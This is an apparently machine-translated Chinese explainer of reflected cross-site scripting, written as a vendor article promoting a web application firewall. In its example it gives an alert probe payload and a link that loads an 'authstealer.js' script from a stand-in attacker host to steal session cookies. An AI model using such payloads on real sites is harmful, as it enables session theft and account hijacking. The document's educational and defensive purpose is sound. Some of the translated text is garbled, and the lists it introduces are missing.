跨站点脚本攻击(XSS)是一种Web应用程序漏洞,允许攻击者将代码(通常为HTML或JavaScript)注入到外部网站的内容中。当受害者查看网站上的受感染页面时,注入的代码将在受害者的浏览器中执行。因此,攻击者绕过了浏览器的同源策略,并能够窃取与网站相关联的受害者的私人信息。
当恶意脚本从Web应用程序反射到受害者的浏览器时,反射XSS攻击也称为非持久性攻击。
该脚本通过链接激活,该链接向具有可执行恶意脚本的漏洞的网站发送请求。该漏洞通常是由于传入的请求没有经过充分的消毒处理,从而允许操作Web应用程序的功能并激活恶意脚本。
为了分发恶意链接,犯罪者通常将其嵌入电子邮件或第三方网站(例如,在评论部分或社交媒体中)。该链接嵌入在锚文本中,引发用户点击该文本,该文本向发布的网站发起XSS请求,将攻击反映回用户。
与存储的攻击不同,攻击者必须找到允许永久性注入恶意脚本的网站,反映的攻击只需要将恶意脚本嵌入到链接中。也就是说,为了使攻击成功,用户需要点击受感染的链接。
因此,反映和存储的XSS攻击之间存在许多重要差异,其中包括:
通过反射XSS,犯罪者通过向尽可能多的用户发送恶意链接来玩“数字游戏”,从而提高他成功执行攻击的几率。
在访问需要用户登录其帐户的论坛网站时,执行者执行此搜索查询<script type ='text / javascript'> alert('xss'); </ script>导致发生以下事情:
这告诉犯罪者该网站是脆弱的。接下来,他创建了自己的URL,其中包含http://forum.com?q=news<\script%20src="http://hackersite.com/authstealer.js“,并将其作为链接嵌入到看似无害的内容中电子邮件,他发送给一组论坛用户。
虽然发送地址和主题行可能会对某些人造成怀疑,但这并不意味着它不会被点击。
事实上,即使电子邮件的每1,000个收件人中只有一个点击链接,仍然有数十个感染论坛用户。他们将被带到论坛的网站,恶意脚本将被反射回他们的浏览器,使犯罪者窃取他们的会话cookie并劫持他们的论坛账户。
有几种有效的方法来预防和缓解反射的XSS攻击。
首先,从用户的角度来看,警惕性是避免XSS脚本编写的最佳方式。具体来说,这意味着不要点击可能包含恶意代码的可疑链接。可疑链接包括:
话虽如此,最终由网站运营商来防止他们的用户受到潜在的滥用。
此外,Web应用程序防火墙(WAF)在缓解反映的XSS攻击方面也发挥了重要作用。基于签名的安全规则,在其他启发式的支持下,WAF可以弥补输入消毒的缺失,并简单地阻止异常请求。这包括但不限于尝试执行反映的跨站点脚本攻击的请求。
应该注意的是,与存储的攻击不同,在存储的攻击中,攻击者对网站的恶意请求被阻止,在反映的XSS攻击中,用户的请求被阻止。这样做是为了保护用户,并防止所有其他网站访问者受到附带损害。
Imperva Incapsula Web应用防火墙还使用签名过滤来反映反映的XSS。此外,WAF采用众包技术,可自动收集和整合来自整个Incapsula网络的攻击数据,为所有Incapsula用户带来益处。
Incapsula安全服务的众包组件确保对零日威胁做出快速响应,并保护整个用户群体免受新的威胁。它还支持使用高级安全启发式技术,包括监控IP信誉的高级安全启发式技术,以跟踪重复的违规者和僵尸网络设备。